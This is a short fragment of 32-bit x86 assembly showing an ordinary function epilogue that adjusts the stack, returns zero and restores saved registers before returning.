add esp, 0xc
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret